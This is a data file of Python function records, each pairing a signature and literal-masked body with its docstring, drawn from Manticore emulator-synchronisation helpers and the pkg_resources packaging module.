{"signature": "def cmp_regs(cpu, should_print=False):", "body": "differing = False<EOL>gdb_regs = gdb.getCanonicalRegisters()<EOL>for name in sorted(gdb_regs):<EOL><INDENT>vg = gdb_regs[name]<EOL>if name.endswith('<STR_LIT>'):<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>v = cpu.read_register(name.upper())<EOL>if should_print:<EOL><INDENT>logger.debug(f'<STR_LIT>')<EOL><DEDENT>if vg != v:<EOL><INDENT>if should_print:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL><DEDENT>differing = True<EOL><DEDENT><DEDENT>if differing:<EOL><INDENT>logger.debug(qemu.correspond(None))<EOL><DEDENT>return differing<EOL>", "docstring": "Compare registers from a remote gdb session to current mcore.\n\n:param manticore.core.cpu Cpu: Current cpu\n:param bool should_print: Whether to print values to stdout\n:return: Whether or not any differences were detected\n:rtype: bool", "id": "f17155:m2"}
{"signature": "def post_mcore(state, last_instruction):", "body": "global in_helper<EOL>if last_instruction.mnemonic.lower() == '<STR_LIT>':<EOL><INDENT>writes = state.cpu.memory.pop_record_writes()<EOL>if writes:<EOL><INDENT>logger.debug(\"<STR_LIT>\", len(writes))<EOL><DEDENT>for addr, val in writes:<EOL><INDENT>gdb.setByte(addr, val[<NUM_LIT:0>])<EOL><DEDENT>gdb_r0 = gdb.getR('<STR_LIT>')<EOL>if gdb_r0 != state.cpu.R0:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>for reg in state.cpu.canonical_registers:<EOL><INDENT>if reg.endswith('<STR_LIT>') or reg in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>val = state.cpu.read_register(reg)<EOL>gdb.setR(reg, val)<EOL><DEDENT><DEDENT>if (state.cpu.PC >> <NUM_LIT:16>) == <NUM_LIT>:<EOL><INDENT>in_helper = True<EOL>return<EOL><DEDENT>if in_helper:<EOL><INDENT>for reg in state.cpu.canonical_registers:<EOL><INDENT>if reg.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>if reg == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>gdb.setR(reg, state.cpu.read_register(reg))<EOL><DEDENT>in_helper = False<EOL><DEDENT>if cmp_regs(state.cpu):<EOL><INDENT>cmp_regs(state.cpu, should_print=True)<EOL>state.abandon()<EOL><DEDENT>", "docstring": "Handle syscalls (import memory) and bail if we diverge", "id": "f17155:m4"}
{"signature": "def sync_svc(state):", "body": "syscall = state.cpu.R7 <EOL>name = linux_syscalls.armv7[syscall]<EOL>logger.debug(f\"<STR_LIT>\")<EOL>try:<EOL><INDENT>if '<STR_LIT>' in name:<EOL><INDENT>returned = gdb.getR('<STR_LIT>')<EOL>logger.debug(f\"<STR_LIT>\")<EOL>state.cpu.write_register('<STR_LIT>', returned)<EOL><DEDENT>if '<STR_LIT>' in name:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>for reg in state.cpu.canonical_registers:<EOL><INDENT>print(f'<STR_LIT>')<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Mirror some service calls in manticore. Happens after qemu executed a SVC\ninstruction, but before manticore did.", "id": "f17155:m7"}
{"signature": "def initialize(state):", "body": "logger.debug(f\"<STR_LIT>\")<EOL>stack_bottom = min(state.cpu.SP, gdb.getR('<STR_LIT>'))<EOL>for address in range(stack_bottom, stack_top):<EOL><INDENT>b = state.cpu.read_int(address, <NUM_LIT:8>)<EOL>gdb.setByte(address, chr(b))<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>mcore_stdout = state.platform.files[<NUM_LIT:1>]<EOL>state.platform.files.append(mcore_stdout)<EOL>state.platform.files.append(mcore_stdout)<EOL>for gdb_reg in gdb.getCanonicalRegisters():<EOL><INDENT>if gdb_reg.endswith('<STR_LIT>'):<EOL><INDENT>mcore_reg = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>mcore_reg = gdb_reg.upper()<EOL><DEDENT>value = state.cpu.read_register(mcore_reg)<EOL>gdb.setR(gdb_reg, value)<EOL><DEDENT>", "docstring": "Synchronize the stack and register state (manticore->qemu)", "id": "f17155:m8"}
{"signature": "def binary_arch(binary):", "body": "with open(binary, '<STR_LIT:rb>') as f:<EOL><INDENT>elffile = ELFFile(f)<EOL>if elffile['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "helper method for determining binary architecture\n\n:param binary: str for binary to introspect.\n:rtype bool: True for x86_64, False otherwise", "id": "f17156:m0"}
{"signature": "def binary_symbols(binary):", "body": "def substr_after(string, delim):<EOL><INDENT>return string.partition(delim)[<NUM_LIT:2>]<EOL><DEDENT>with open(binary, '<STR_LIT:rb>') as f:<EOL><INDENT>elffile = ELFFile(f)<EOL>for section in elffile.iter_sections():<EOL><INDENT>if not isinstance(section, SymbolTableSection):<EOL><INDENT>continue<EOL><DEDENT>symbols = [sym.name for sym in section.iter_symbols() if sym]<EOL>return [substr_after(name, PREPEND_SYM) for name in symbols<EOL>if name.startswith(PREPEND_SYM)]<EOL><DEDENT><DEDENT>", "docstring": "helper method for getting all binary symbols with SANDSHREW_ prepended.\nWe do this in order to provide the symbols Manticore should hook on to\nperform main analysis.\n\n:param binary: str for binary to instrospect.\n:rtype list: list of symbols from binary", "id": "f17156:m1"}
{"signature": "def correspond(text):", "body": "if text:<EOL><INDENT>subproc.stdin.write(text)<EOL><DEDENT>subproc.stdin.flush()<EOL>return get_lines()<EOL>", "docstring": "Communicate with the child process without closing stdin.", "id": "f17160:m3"}
{"signature": "def get_supported_platform():", "body": "plat = get_build_platform(); m = macosVersionString.match(plat)<EOL>if m is not None and sys.platform == \"<STR_LIT>\":<EOL><INDENT>try:<EOL><INDENT>plat = '<STR_LIT>' % ('<STR_LIT:.>'.join(_macosx_vers()[:<NUM_LIT:2>]), m.group(<NUM_LIT:3>))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass    <EOL><DEDENT><DEDENT>return plat<EOL>", "docstring": "Return this platform's maximum compatible version.\n\n    distutils.util.get_platform() normally reports the minimum version\n    of Mac OS X that would be required to *use* extensions produced by\n    distutils.  But what we want when checking compatibility is to know the\n    version of Mac OS X that we are *running*.  To allow usage of packages that\n    explicitly require a newer version of Mac OS X, we must also know the\n    current version of the OS.\n\n    If this condition occurs for any other platform with a version in its\n    platform strings, this function should be extended accordingly.", "id": "f17162:m0"}
{"signature": "def register_loader_type(loader_type, provider_factory):", "body": "_provider_factories[loader_type] = provider_factory<EOL>", "docstring": "Register `provider_factory` to make providers for `loader_type`\n\n    `loader_type` is the type or class of a PEP 302 ``module.__loader__``,\n    and `provider_factory` is a function that, passed a *module* object,\n    returns an ``IResourceProvider`` for that module.", "id": "f17162:m1"}
{"signature": "def get_provider(moduleOrReq):", "body": "if isinstance(moduleOrReq,Requirement):<EOL><INDENT>return working_set.find(moduleOrReq) or require(str(moduleOrReq))[<NUM_LIT:0>]<EOL><DEDENT>try:<EOL><INDENT>module = sys.modules[moduleOrReq]<EOL><DEDENT>except KeyError:<EOL><INDENT>__import__(moduleOrReq)<EOL>module = sys.modules[moduleOrReq]<EOL><DEDENT>loader = getattr(module, '<STR_LIT>', None)<EOL>return _find_adapter(_provider_factories, loader)(module)<EOL>", "docstring": "Return an IResourceProvider for the named module or requirement", "id": "f17162:m2"}
{"signature": "def get_build_platform():", "body": "from distutils.util import get_platform<EOL>plat = get_platform()<EOL>if sys.platform == \"<STR_LIT>\" and not plat.startswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>version = _macosx_vers()<EOL>machine = os.uname()[<NUM_LIT:4>].replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:_>\")<EOL>return \"<STR_LIT>\" % (int(version[<NUM_LIT:0>]), int(version[<NUM_LIT:1>]),<EOL>_macosx_arch(machine))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return plat<EOL>", "docstring": "Return this platform's string for platform-specific distributions\n\n    XXX Currently this is the same as ``distutils.util.get_platform()``, but it\n    needs some hacks for Linux and Mac OS X.", "id": "f17162:m5"}
{"signature": "def compatible_platforms(provided,required):", "body": "if provided is None or required is None or provided==required:<EOL><INDENT>return True     <EOL><DEDENT>reqMac = macosVersionString.match(required)<EOL>if reqMac:<EOL><INDENT>provMac = macosVersionString.match(provided)<EOL>if not provMac:<EOL><INDENT>provDarwin = darwinVersionString.match(provided)<EOL>if provDarwin:<EOL><INDENT>dversion = int(provDarwin.group(<NUM_LIT:1>))<EOL>macosversion = \"<STR_LIT>\" % (reqMac.group(<NUM_LIT:1>), reqMac.group(<NUM_LIT:2>))<EOL>if dversion == <NUM_LIT:7> and macosversion >= \"<STR_LIT>\" ordversion == <NUM_LIT:8> and macosversion >= \"<STR_LIT>\":<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False    <EOL><DEDENT>if provMac.group(<NUM_LIT:1>) != reqMac.group(<NUM_LIT:1>) orprovMac.group(<NUM_LIT:3>) != reqMac.group(<NUM_LIT:3>):<EOL><INDENT>return False<EOL><DEDENT>if int(provMac.group(<NUM_LIT:2>)) > int(reqMac.group(<NUM_LIT:2>)):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Can code for the `provided` platform run on the `required` platform?\n\n    Returns true if either platform is ``None``, or the platforms are equal.\n\n    XXX Needs compatibility checks for Linux and other unixy OSes.", "id": "f17162:m6"}
{"signature": "def run_script(dist_spec, script_name):", "body": "ns = sys._getframe(<NUM_LIT:1>).f_globals<EOL>name = ns['<STR_LIT>']<EOL>ns.clear()<EOL>ns['<STR_LIT>'] = name<EOL>require(dist_spec)[<NUM_LIT:0>].run_script(script_name, ns)<EOL>", "docstring": "Locate distribution `dist_spec` and run its `script_name` script", "id": "f17162:m7"}
{"signature": "def get_distribution(dist):", "body": "if isinstance(dist,str): dist = Requirement.parse(dist)<EOL>if isinstance(dist,Requirement): dist = get_provider(dist)<EOL>if not isinstance(dist,Distribution):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", dist)<EOL><DEDENT>return dist<EOL>", "docstring": "Return a current distribution object for a Requirement or string", "id": "f17162:m8"}
{"signature": "def load_entry_point(dist, group, name):", "body": "return get_distribution(dist).load_entry_point(group, name)<EOL>", "docstring": "Return `name` entry point of `group` for `dist` or raise ImportError", "id": "f17162:m9"}
{"signature": "def get_entry_map(dist, group=None):", "body": "return get_distribution(dist).get_entry_map(group)<EOL>", "docstring": "Return the entry point map for `group`, or the full entry map", "id": "f17162:m10"}
{"signature": "def get_entry_info(dist, group, name):", "body": "return get_distribution(dist).get_entry_info(group, name)<EOL>", "docstring": "Return the EntryPoint object for `group`+`name`, or ``None``", "id": "f17162:m11"}
{"signature": "def get_default_cache():", "body": "try:<EOL><INDENT>return os.environ['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if os.name!='<STR_LIT>':<EOL><INDENT>return os.path.expanduser('<STR_LIT>')<EOL><DEDENT>app_data = '<STR_LIT>'   <EOL>app_homes = [<EOL>(('<STR_LIT>',), None),       <EOL>(('<STR_LIT>',), app_data),<EOL>(('<STR_LIT>','<STR_LIT>'), app_data),<EOL>(('<STR_LIT>',), app_data),<EOL>(('<STR_LIT>',), None),<EOL>(('<STR_LIT>',), app_data),    <EOL>]<EOL>for keys, subdir in app_homes:<EOL><INDENT>dirname = '<STR_LIT>'<EOL>for key in keys:<EOL><INDENT>if key in os.environ:<EOL><INDENT>dirname = os.path.join(dirname, os.environ[key])<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if subdir:<EOL><INDENT>dirname = os.path.join(dirname,subdir)<EOL><DEDENT>return os.path.join(dirname, '<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Determine the default cache location\n\n    This returns the ``PYTHON_EGG_CACHE`` environment variable, if set.\n    Otherwise, on Windows, it returns a \"Python-Eggs\" subdirectory of the\n    \"Application Data\" directory.  On all other systems, it's \"~/.python-eggs\".", "id": "f17162:m12"}
{"signature": "def safe_name(name):", "body": "return re.sub('<STR_LIT>', '<STR_LIT:->', name)<EOL>", "docstring": "Convert an arbitrary string to a standard distribution name\n\n    Any runs of non-alphanumeric/. characters are replaced with a single '-'.", "id": "f17162:m13"}
{"signature": "def safe_version(version):", "body": "version = version.replace('<STR_LIT:U+0020>','<STR_LIT:.>')<EOL>return re.sub('<STR_LIT>', '<STR_LIT:->', version)<EOL>", "docstring": "Convert an arbitrary string to a standard version string\n\n    Spaces become dots, and all other non-alphanumeric characters become\n    dashes, with runs of multiple dashes condensed to a single dash.", "id": "f17162:m14"}
{"signature": "def safe_extra(extra):", "body": "return re.sub('<STR_LIT>', '<STR_LIT:_>', extra).lower()<EOL>", "docstring": "Convert an arbitrary string to a standard 'extra' name\n\n    Any runs of non-alphanumeric characters are replaced with a single '_',\n    and the result is always lowercased.", "id": "f17162:m15"}
{"signature": "def to_filename(name):", "body": "return name.replace('<STR_LIT:->','<STR_LIT:_>')<EOL>", "docstring": "Convert a project or version name to its filename-escaped form\n\n    Any '-' characters are currently replaced with '_'.", "id": "f17162:m16"}
{"signature": "def get_importer(path_item):", "body": "try:<EOL><INDENT>importer = sys.path_importer_cache[path_item]<EOL><DEDENT>except KeyError:<EOL><INDENT>for hook in sys.path_hooks:<EOL><INDENT>try:<EOL><INDENT>importer = hook(path_item)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>importer = None<EOL><DEDENT><DEDENT>sys.path_importer_cache.setdefault(path_item,importer)<EOL>if importer is None:<EOL><INDENT>try:<EOL><INDENT>importer = ImpWrapper(path_item)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return importer<EOL>", "docstring": "Retrieve a PEP 302 \"importer\" for the given path item\n\n    If there is no importer, this returns a wrapper around the builtin import\n    machinery.  The returned importer is only cached if it was created by a\n    path hook.", "id": "f17162:m17"}
{"signature": "def register_finder(importer_type, distribution_finder):", "body": "_distribution_finders[importer_type] = distribution_finder<EOL>", "docstring": "Register `distribution_finder` to find distributions in sys.path items\n\n    `importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path item\n    handler), and `distribution_finder` is a callable that, passed a path\n    item and the importer instance, yields ``Distribution`` instances found on\n    that path item.  See ``pkg_resources.find_on_path`` for an example.", "id": "f17162:m18"}
{"signature": "def find_distributions(path_item, only=False):", "body": "importer = get_importer(path_item)<EOL>finder = _find_adapter(_distribution_finders, importer)<EOL>return finder(importer, path_item, only)<EOL>", "docstring": "Yield distributions accessible via `path_item`", "id": "f17162:m19"}
{"signature": "def StringIO(*args, **kw):", "body": "global StringIO<EOL>try:<EOL><INDENT>from io import StringIO<EOL><DEDENT>except ImportError:<EOL><INDENT>from io import StringIO<EOL><DEDENT>return StringIO(*args,**kw)<EOL>", "docstring": "Thunk to load the real StringIO on demand", "id": "f17162:m21"}
{"signature": "def find_on_path(importer, path_item, only=False):", "body": "path_item = _normalize_cached(path_item)<EOL>if os.path.isdir(path_item):<EOL><INDENT>if path_item.lower().endswith('<STR_LIT>'):<EOL><INDENT>yield Distribution.from_filename(<EOL>path_item, metadata=PathMetadata(<EOL>path_item, os.path.join(path_item,'<STR_LIT>')<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>for entry in os.listdir(path_item):<EOL><INDENT>lower = entry.lower()<EOL>if lower.endswith('<STR_LIT>'):<EOL><INDENT>fullpath = os.path.join(path_item, entry)<EOL>if os.path.isdir(fullpath):<EOL><INDENT>metadata = PathMetadata(path_item, fullpath)<EOL><DEDENT>else:<EOL><INDENT>metadata = FileMetadata(fullpath)<EOL><DEDENT>yield Distribution.from_location(<EOL>path_item,entry,metadata,precedence=DEVELOP_DIST<EOL>)<EOL><DEDENT>elif not only and lower.endswith('<STR_LIT>'):<EOL><INDENT>for dist in find_distributions(os.path.join(path_item, entry)):<EOL><INDENT>yield dist<EOL><DEDENT><DEDENT>elif not only and lower.endswith('<STR_LIT>'):<EOL><INDENT>for line in file(os.path.join(path_item, entry)):<EOL><INDENT>if not line.strip(): continue<EOL>for item in find_distributions(os.path.join(path_item,line.rstrip())):<EOL><INDENT>yield item<EOL><DEDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Yield distributions accessible on a sys.path directory", "id": "f17162:m23"}
{"signature": "def register_namespace_handler(importer_type, namespace_handler):", "body": "_namespace_handlers[importer_type] = namespace_handler<EOL>", "docstring": "Register `namespace_handler` to declare namespace packages\n\n    `importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path item\n    handler), and `namespace_handler` is a callable like this::\n\n        def namespace_handler(importer,path_entry,moduleName,module):\n            # return a path_entry to use for child packages\n\n    Namespace handlers are only called if the importer object has already\n    agreed that it can handle the relevant path item, and they should only\n    return a subpath if the module __path__ does not already contain an\n    equivalent subpath.  For an example namespace handler, see\n    ``pkg_resources.file_ns_handler``.", "id": "f17162:m24"}
{"signature": "def _handle_ns(packageName, path_item):", "body": "importer = get_importer(path_item)<EOL>if importer is None:<EOL><INDENT>return None<EOL><DEDENT>loader = importer.find_module(packageName)<EOL>if loader is None:<EOL><INDENT>return None<EOL><DEDENT>module = sys.modules.get(packageName)<EOL>if module is None:<EOL><INDENT>module = sys.modules[packageName] = new.module(packageName)<EOL>module.__path__ = []; _set_parent_ns(packageName)<EOL><DEDENT>elif not hasattr(module,'<STR_LIT>'):<EOL><INDENT>raise TypeError(\"<STR_LIT>\", packageName)<EOL><DEDENT>handler = _find_adapter(_namespace_handlers, importer)<EOL>subpath = handler(importer,path_item,packageName,module)<EOL>if subpath is not None:<EOL><INDENT>path = module.__path__; path.append(subpath)<EOL>loader.load_module(packageName); module.__path__ = path<EOL><DEDENT>return subpath<EOL>", "docstring": "Ensure that named package includes a subpath of path_item (if needed)", "id": "f17162:m25"}
{"signature": "def declare_namespace(packageName):", "body": "imp.acquire_lock()<EOL>try:<EOL><INDENT>if packageName in _namespace_packages:<EOL><INDENT>return<EOL><DEDENT>path, parent = sys.path, None<EOL>if '<STR_LIT:.>' in packageName:<EOL><INDENT>parent = '<STR_LIT:.>'.join(packageName.split('<STR_LIT:.>')[:-<NUM_LIT:1>])<EOL>declare_namespace(parent)<EOL>__import__(parent)<EOL>try:<EOL><INDENT>path = sys.modules[parent].__path__<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise TypeError(\"<STR_LIT>\", parent)<EOL><DEDENT><DEDENT>_namespace_packages.setdefault(parent,[]).append(packageName)<EOL>_namespace_packages.setdefault(packageName,[])<EOL>for path_item in path:<EOL><INDENT>_handle_ns(packageName, path_item)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>imp.release_lock()<EOL><DEDENT>", "docstring": "Declare that package 'packageName' is a namespace package", "id": "f17162:m26"}
{"signature": "def fixup_namespace_packages(path_item, parent=None):", "body": "imp.acquire_lock()<EOL>try:<EOL><INDENT>for package in _namespace_packages.get(parent,()):<EOL><INDENT>subpath = _handle_ns(package, path_item)<EOL>if subpath: fixup_namespace_packages(subpath,package)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>imp.release_lock()<EOL><DEDENT>", "docstring": "Ensure that previously-declared namespace packages include path_item", "id": "f17162:m27"}
{"signature": "def file_ns_handler(importer, path_item, packageName, module):", "body": "subpath = os.path.join(path_item, packageName.split('<STR_LIT:.>')[-<NUM_LIT:1>])<EOL>normalized = _normalize_cached(subpath)<EOL>for item in module.__path__:<EOL><INDENT>if _normalize_cached(item)==normalized:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return subpath<EOL><DEDENT>", "docstring": "Compute an ns-package subpath for a filesystem or zipfile importer", "id": "f17162:m28"}
{"signature": "def normalize_path(filename):", "body": "return os.path.normcase(os.path.realpath(filename))<EOL>", "docstring": "Normalize a file/dir name for comparison purposes", "id": "f17162:m30"}
{"signature": "def yield_lines(strs):", "body": "if isinstance(strs,str):<EOL><INDENT>for s in strs.splitlines():<EOL><INDENT>s = s.strip()<EOL>if s and not s.startswith('<STR_LIT:#>'):     <EOL><INDENT>yield s<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for ss in strs:<EOL><INDENT>for s in yield_lines(ss):<EOL><INDENT>yield s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield non-empty/non-comment lines of a ``basestring`` or sequence", "id": "f17162:m33"}
{"signature": "def parse_version(s):", "body": "parts = []<EOL>for part in _parse_version_parts(s.lower()):<EOL><INDENT>if part.startswith('<STR_LIT:*>'):<EOL><INDENT>if part<'<STR_LIT>':   <EOL><INDENT>while parts and parts[-<NUM_LIT:1>]=='<STR_LIT>': parts.pop()<EOL><DEDENT>while parts and parts[-<NUM_LIT:1>]=='<STR_LIT>':<EOL><INDENT>parts.pop()<EOL><DEDENT><DEDENT>parts.append(part)<EOL><DEDENT>return tuple(parts)<EOL>", "docstring": "Convert a version string to a chronologically-sortable key\n\n    This is a rough cross between distutils' StrictVersion and LooseVersion;\n    if you give it versions that would work with StrictVersion, then it behaves\n    the same; otherwise it acts like a slightly-smarter LooseVersion. It is\n    *possible* to create pathological version coding schemes that will fool\n    this parser, but they should be very rare in practice.\n\n    The returned value will be a tuple of strings.  Numeric portions of the\n    version are padded to 8 digits so they will compare numerically, but\n    without relying on how numbers compare relative to strings.  Dots are\n    dropped, but dashes are retained.  Trailing zeros between alpha segments\n    or dashes are suppressed, so that e.g. \"2.4.0\" is considered the same as\n    \"2.4\". Alphanumeric parts are lower-cased.\n\n    The algorithm assumes that strings like \"-\" and any alpha string that\n    alphabetically follows \"final\"  represents a \"patch level\".  So, \"2.4-1\"\n    is assumed to be a branch or patch of \"2.4\", and therefore \"2.4.1\" is\n    considered newer than \"2.4-1\", whic in turn is newer than \"2.4\".\n\n    Strings like \"a\", \"b\", \"c\", \"alpha\", \"beta\", \"candidate\" and so on (that\n    come before \"final\" alphabetically) are assumed to be pre-release versions,\n    so that the version \"2.4\" is considered newer than \"2.4a1\".\n\n    Finally, to handle miscellaneous cases, the strings \"pre\", \"preview\", and\n    \"rc\" are treated as if they were \"c\", i.e. as though they were release\n    candidates, and therefore are not as new as a version string that does not\n    contain them.", "id": "f17162:m35"}
{"signature": "def parse_requirements(strs):", "body": "<EOL>lines = iter(yield_lines(strs))<EOL>def scan_list(ITEM,TERMINATOR,line,p,groups,item_name):<EOL><INDENT>items = []<EOL>while not TERMINATOR(line,p):<EOL><INDENT>if CONTINUE(line,p):<EOL><INDENT>try:<EOL><INDENT>line = next(lines); p = <NUM_LIT:0><EOL><DEDENT>except StopIteration:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>match = ITEM(line,p)<EOL>if not match:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"+item_name+\"<STR_LIT>\",line,\"<STR_LIT>\",line[p:])<EOL><DEDENT>items.append(match.group(*groups))<EOL>p = match.end()<EOL>match = COMMA(line,p)<EOL>if match:<EOL><INDENT>p = match.end() <EOL><DEDENT>elif not TERMINATOR(line,p):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\",line,\"<STR_LIT>\",line[p:]<EOL>)<EOL><DEDENT><DEDENT>match = TERMINATOR(line,p)<EOL>if match: p = match.end()   <EOL>return line, p, items<EOL><DEDENT>for line in lines:<EOL><INDENT>match = DISTRO(line)<EOL>if not match:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", line)<EOL><DEDENT>project_name = match.group(<NUM_LIT:1>)<EOL>p = match.end()<EOL>extras = []<EOL>match = OBRACKET(line,p)<EOL>if match:<EOL><INDENT>p = match.end()<EOL>line, p, extras = scan_list(<EOL>DISTRO, CBRACKET, line, p, (<NUM_LIT:1>,), \"<STR_LIT>\"<EOL>)<EOL><DEDENT>line, p, specs = scan_list(VERSION,LINE_END,line,p,(<NUM_LIT:1>,<NUM_LIT:2>),\"<STR_LIT>\")<EOL>specs = [(op,safe_version(val)) for op,val in specs]<EOL>yield Requirement(project_name, specs, extras)<EOL><DEDENT>", "docstring": "Yield ``Requirement`` objects for each specification in `strs`\n\n    `strs` must be an instance of ``basestring``, or a (possibly-nested)\n    iterable thereof.", "id": "f17162:m37"}
{"signature": "def _get_mro(cls):", "body": "if not isinstance(cls,type):<EOL><INDENT>class cls(cls,object): pass<EOL>return cls.__mro__[<NUM_LIT:1>:]<EOL><DEDENT>return cls.__mro__<EOL>", "docstring": "Get an mro for a type or classic class", "id": "f17162:m39"}
{"signature": "def _find_adapter(registry, ob):", "body": "for t in _get_mro(getattr(ob, '<STR_LIT>', type(ob))):<EOL><INDENT>if t in registry:<EOL><INDENT>return registry[t]<EOL><DEDENT><DEDENT>", "docstring": "Return an adapter factory for `ob` from `registry`", "id": "f17162:m40"}
{"signature": "def ensure_directory(path):", "body": "dirname = os.path.dirname(path)<EOL>if not os.path.isdir(dirname):<EOL><INDENT>os.makedirs(dirname)<EOL><DEDENT>", "docstring": "Ensure that the parent directory of `path` exists", "id": "f17162:m41"}
{"signature": "def split_sections(s):", "body": "section = None<EOL>content = []<EOL>for line in yield_lines(s):<EOL><INDENT>if line.startswith(\"<STR_LIT:[>\"):<EOL><INDENT>if line.endswith(\"<STR_LIT:]>\"):<EOL><INDENT>if section or content:<EOL><INDENT>yield section, content<EOL><DEDENT>section = line[<NUM_LIT:1>:-<NUM_LIT:1>].strip()<EOL>content = []<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", line)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>content.append(line)<EOL><DEDENT><DEDENT>yield section, content<EOL>", "docstring": "Split a string or iterable thereof into (section,content) pairs\n\n    Each ``section`` is a stripped version of the section header (\"[section]\")\n    and each ``content`` is a list of stripped lines excluding blank lines and\n    comment-only lines.  If there are any such lines before the first section\n    header, they're returned in a first ``section`` of ``None``.", "id": "f17162:m42"}
{"signature": "def has_metadata(name):", "body": "", "docstring": "Does the package's distribution contain the named metadata?", "id": "f17162:c4:m0"}
{"signature": "def get_metadata(name):", "body": "", "docstring": "The named metadata resource as a string", "id": "f17162:c4:m1"}
{"signature": "def get_metadata_lines(name):", "body": "", "docstring": "Yield named metadata resource as list of non-blank non-comment lines\n\n       Leading and trailing whitespace is stripped from each line, and lines\n       with ``#`` as the first non-blank character are omitted.", "id": "f17162:c4:m2"}
{"signature": "def metadata_isdir(name):", "body": "", "docstring": "Is the named metadata a directory?  (like ``os.path.isdir()``)", "id": "f17162:c4:m3"}
{"signature": "def metadata_listdir(name):", "body": "", "docstring": "List of metadata names in the directory (like ``os.listdir()``)", "id": "f17162:c4:m4"}
{"signature": "def run_script(script_name, namespace):", "body": "", "docstring": "Execute the named script in the supplied namespace dictionary", "id": "f17162:c4:m5"}
{"signature": "def get_resource_filename(manager, resource_name):", "body": "", "docstring": "Return a true filesystem path for `resource_name`\n\n        `manager` must be an ``IResourceManager``", "id": "f17162:c5:m0"}
{"signature": "def get_resource_stream(manager, resource_name):", "body": "", "docstring": "Return a readable file-like object for `resource_name`\n\n        `manager` must be an ``IResourceManager``", "id": "f17162:c5:m1"}
{"signature": "def get_resource_string(manager, resource_name):", "body": "", "docstring": "Return a string containing the contents of `resource_name`\n\n        `manager` must be an ``IResourceManager``", "id": "f17162:c5:m2"}
{"signature": "def has_resource(resource_name):", "body": "", "docstring": "Does the package contain the named resource?", "id": "f17162:c5:m3"}
{"signature": "def resource_isdir(resource_name):", "body": "", "docstring": "Is the named resource a directory?  (like ``os.path.isdir()``)", "id": "f17162:c5:m4"}
{"signature": "def resource_listdir(resource_name):", "body": "", "docstring": "List of resource names in the directory (like ``os.listdir()``)", "id": "f17162:c5:m5"}
{"signature": "def __init__(self, entries=None):", "body": "self.entries = []<EOL>self.entry_keys = {}<EOL>self.by_key = {}<EOL>self.callbacks = []<EOL>if entries is None:<EOL><INDENT>entries = sys.path<EOL><DEDENT>for entry in entries:<EOL><INDENT>self.add_entry(entry)<EOL><DEDENT>", "docstring": "Create working set from list of path entries (default=sys.path)", "id": "f17162:c6:m0"}
{"signature": "def add_entry(self, entry):", "body": "self.entry_keys.setdefault(entry, [])<EOL>self.entries.append(entry)<EOL>for dist in find_distributions(entry, True):<EOL><INDENT>self.add(dist, entry, False)<EOL><DEDENT>", "docstring": "Add a path item to ``.entries``, finding any distributions on it\n\n        ``find_distributions(entry,False)`` is used to find distributions\n        corresponding to the path entry, and they are added.  `entry` is\n        always appended to ``.entries``, even if it is already present.\n        (This is because ``sys.path`` can contain the same value more than\n        once, and the ``.entries`` of the ``sys.path`` WorkingSet should always\n        equal ``sys.path``.)", "id": "f17162:c6:m1"}
{"signature": "def __contains__(self,dist):", "body": "return self.by_key.get(dist.key) == dist<EOL>", "docstring": "True if `dist` is the active distribution for its project", "id": "f17162:c6:m2"}
{"signature": "def find(self, req):", "body": "dist = self.by_key.get(req.key)<EOL>if dist is not None and dist not in req:<EOL><INDENT>raise VersionConflict(dist,req)     <EOL><DEDENT>else:<EOL><INDENT>return dist<EOL><DEDENT>", "docstring": "Find a distribution matching requirement `req`\n\n        If there is an active distribution for the requested project, this\n        returns it as long as it meets the version requirement specified by\n        `req`.  But, if there is an active distribution for the project and it\n        does *not* meet the `req` requirement, ``VersionConflict`` is raised.\n        If there is no active distribution for the requested project, ``None``\n        is returned.", "id": "f17162:c6:m3"}
